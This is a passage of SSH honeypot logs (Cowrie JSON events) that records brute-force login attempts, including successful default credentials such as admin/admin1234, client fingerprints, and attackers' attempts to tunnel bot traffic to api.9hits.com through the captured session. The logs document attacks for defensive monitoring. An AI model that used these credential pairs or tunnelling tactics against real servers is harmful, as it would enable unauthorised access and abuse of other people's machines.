\\x16\\xd3\\xb2\"\\xf4,C\\xec\\xb3\\xea\\xf5\\x17[H@x\\xfb\\x15\\xe5\\x1f\\x1c\\xe0\\x1d\\x10\\x1fb\\xf7Wk,o9\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.741655Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"250380","message":"login attempt [root/250380] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:31.968498Z","src_ip":"77.94.47.83","session":"83e441f55ac8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:33.079202Z","src_ip":"77.94.47.83","session":"83e441f55ac8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":60024,"dst_ip":"10.17.0.5","dst_port":22,"session":"44c89dadac9c","protocol":"ssh","message":"New connection: 23.175.50.51:60024 (10.17.0.5:22) [session: 44c89dadac9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:33.152393Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:33.156425Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:33.335991Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.8","message":"Connection lost after 9.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:34.704664Z","src_ip":"23.175.50.47","session":"7faeea70a984","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:35.202208Z","src_ip":"23.175.50.51","session":"44c89dadac9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":52571,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c583b8ef72a","protocol":"ssh","message":"New connection: 123.27.168.40:52571 (10.17.0.5:22) [session: 5c583b8ef72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:37.969254Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:37.973495Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:38.211824Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:39.276660Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:39.668303Z","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:39.832238Z","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:39.902045Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.2 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=N3dyYWs4SD5SaVdRTytmPw%3D%3DH5cIq%2F1KNjJVXDvLSLfLYDs%2B2sQNh6XAJkcGLihD2b%2BbgIL5oUEDZ3S%2BjR8Xzsk490pklKyYVKiNP8O3wcwr3CE7J3pzx6nWCiBfQmC%2B3GMdUKaj2DgWei71SrSDoM7Sirzs7jZc8h5nMK%2FCtYvthVnbQ8msUNtcJrS7TIeyT6DkJ4h1rxY8X6UHK7f%2BNsxMO80%2BQ7SiZiz16X5u9ZmxuWxVTn15ZF3dyqjv2N43%2BuMv4IhbRwTT4dCqhqpwNjuboJ9OezDSUnFjfpHkH%2BMV7hR9Gp%2BJUP9rE78Un98WGm3N415ijuJ1J9BNS93y1t%2BoMqJ5nij9Bik1dVc4alwgNI17AKQmNQegr0BXrqAWgNry9n2J%2FwHQIo%2BhfG%2FuVu9Zm%2B3pZlZtfqPmY%2B4HeRlaLqS%2BNgMcphoFVci8uqDHVmJPld3LQNgOKmVNPqyRA%2FPaxazw2qS0AIg90%2BrHeLc58c934AfrgQrJ0fK1uJAd7VpoSmFaCgOf18CxlFntNL5yMK7W4rTZ8avwZ9xtlzzkVyEi9Cwef9awVsH9wBFqPR0sNk%2BiENLfcn1le0qCf7gkaWANjpAcfKgQAV71I%2FsAdsEL3%2BcGsNsEnLE0k386LeWrzGBohD9VkJql6Mc86qBdqLn87zSH%2BvEZFkuNCw3GYXQpeKYB5AlD0kc%2BrrUwQtmeYYZcWmw4o7f4ZkQb38FOCZ%2BqtIki%2B0QHVoZFL%2FXvYCaI9CNpk%2F7sp4GOZy2JZRAH4kY8B1vD3sEnnBJyHEMCI2zwNGdWAiXhCebKepKSuuKV85vAEJFkQs11mbhVTK6hz0Qk2suJQj19arIlYyUpsNLvIve6LrMHb8d06f0d5ibMIZGa1qd40lYOQ5u0HUVVgoy4pcIKMH%2FulLTgO%2FiBoq%2Buo6HGWpulcWpJs%2FRnMev3cXDN9swKMobMfHZw6P2dMyZZ3%2BAZnQ0azIbznnJER3EO%2FxyFC9dt2tBcYkmRuAqDekVe4nJypEJLCpeeRYTnvRgUoNTxKRl6AjW0kZKYMI5gK2DKLKh9%2Fdb7OQ6VmFGUVWN%2FUHNGxCq2A%2BVDqa8%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.2 Mobile/16E227 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=N3dyYWs4SD5SaVdRTytmPw%3D%3DH5cIq%2F1KNjJVXDvLSLfLYDs%2B2sQNh6XAJkcGLihD2b%2BbgIL5oUEDZ3S%2BjR8Xzsk490pklKyYVKiNP8O3wcwr3CE7J3pzx6nWCiBfQmC%2B3GMdUKaj2DgWei71SrSDoM7Sirzs7jZc8h5nMK%2FCtYvthVnbQ8msUNtcJrS7TIeyT6DkJ4h1rxY8X6UHK7f%2BNsxMO80%2BQ7SiZiz16X5u9ZmxuWxVTn15ZF3dyqjv2N43%2BuMv4IhbRwTT4dCqhqpwNjuboJ9OezDSUnFjfpHkH%2BMV7hR9Gp%2BJUP9rE78Un98WGm3N415ijuJ1J9BNS93y1t%2BoMqJ5nij9Bik1dVc4alwgNI17AKQmNQegr0BXrqAWgNry9n2J%2FwHQIo%2BhfG%2FuVu9Zm%2B3pZlZtfqPmY%2B4HeRlaLqS%2BNgMcphoFVci8uqDHVmJPld3LQNgOKmVNPqyRA%2FPaxazw2qS0AIg90%2BrHeLc58c934AfrgQrJ0fK1uJAd7VpoSmFaCgOf18CxlFntNL5yMK7W4rTZ8avwZ9xtlzzkVyEi9Cwef9awVsH9wBFqPR0sNk%2BiENLfcn1le0qCf7gkaWANjpAcfKgQAV71I%2FsAdsEL3%2BcGsNsEnLE0k386LeWrzGBohD9VkJql6Mc86qBdqLn87zSH%2BvEZFkuNCw3GYXQpeKYB5AlD0kc%2BrrUwQtmeYYZcWmw4o7f4ZkQb38FOCZ%2BqtIki%2B0QHVoZFL%2FXvYCaI9CNpk%2F7sp4GOZy2JZRAH4kY8B1vD3sEnnBJyHEMCI2zwNGdWAiXhCebKepKSuuKV85vAEJFkQs11mbhVTK6hz0Qk2suJQj19arIlYyUpsNLvIve6LrMHb8d06f0d5ibMIZGa1qd40lYOQ5u0HUVVgoy4pcIKMH%2FulLTgO%2FiBoq%2Buo6HGWpulcWpJs%2FRnMev3cXDN9swKMobMfHZw6P2dMyZZ3%2BAZnQ0azIbznnJER3EO%2FxyFC9dt2tBcYkmRuAqDekVe4nJypEJLCpeeRYTnvRgUoNTxKRl6AjW0kZKYMI5gK2DKLKh9%2Fdb7OQ6VmFGUVWN%2FUHNGxCq2A%2BVDqa8%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:39.905220Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:40.130867Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\x0e\\xc6&\\x97\\x94{\\r\\xcbfe\\xcd\\x1a\\xe6+\\xfd\\xc6+9\\xbb\\xbb\\xc8\\xda\\x96\\xbe\\x8e\\xb0\\x9b=\\x14\\x0c\\xcd \\xb9ar\\xe4\\xdf\\xf1\\x8b\\xc4\\x1a\\xbc\\n\\xe9\\xc9\\x06+e\\x17\\xbe\\x12l\\xff\\x8cG\\x1e\\xce\\xe7'\\t\\x05\\x187N\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xf8\\x00\\xf3\\x1cT\\x0f\\xcb!U\\xce\\xc2\\xe35\\x935\\x06E\\xa5P\\xe3\\x12(\\xda\\xe7\\n\\x07\\x84j\\xd9\\x973\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd8\\x0e\\xc6&\\x97\\x94{\\r\\xcbfe\\xcd\\x1a\\xe6+\\xfd\\xc6+9\\xbb\\xbb\\xc8\\xda\\x96\\xbe\\x8e\\xb0\\x9b=\\x14\\x0c\\xcd \\xb9ar\\xe4\\xdf\\xf1\\x8b\\xc4\\x1a\\xbc\\n\\xe9\\xc9\\x06+e\\x17\\xbe\\x12l\\xff\\x8cG\\x1e\\xce\\xe7'\\t\\x05\\x187N\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93JJ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa8\\xf8\\x00\\xf3\\x1cT\\x0f\\xcb!U\\xce\\xc2\\xe35\\x935\\x06E\\xa5P\\xe3\\x12(\\xda\\xe7\\n\\x07\\x84j\\xd9\\x973\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:40.134278Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:40.588897Z","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:39:40.822134Z","src_ip":"123.27.168.40","session":"5c583b8ef72a","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x91\\x12\\xc0\\x02\\xf9\\xa74\\x8d\\xc8\\x91\\xd2*\\x1a\\xc6\\xba\\x0e\\x0eJzd\\xb2yd\\xbc\\x7f\\x84\\xd9[\\xe8g|\\x94 \\xa4\\xd9\\xf7\\xb1\\x16\\xa6\\x1fQ\\xe9\\xa9f\\x1a\\x8e|B\\x9e\\x1a;d\\xa1:\\xee\\xe2\\x02e\\xd0\\x00 -1\\xdds\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\n\\n\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 8\\xcb\\xd4\\xd6J\\xb4\\xcai\\xc3\\x1e\\xc5A\\xf9\\x11\\'\\xa8-\\xf8(\\x81\\x17bII\\xc8a\\xf6W2\\xb85\\x7f\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02**\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\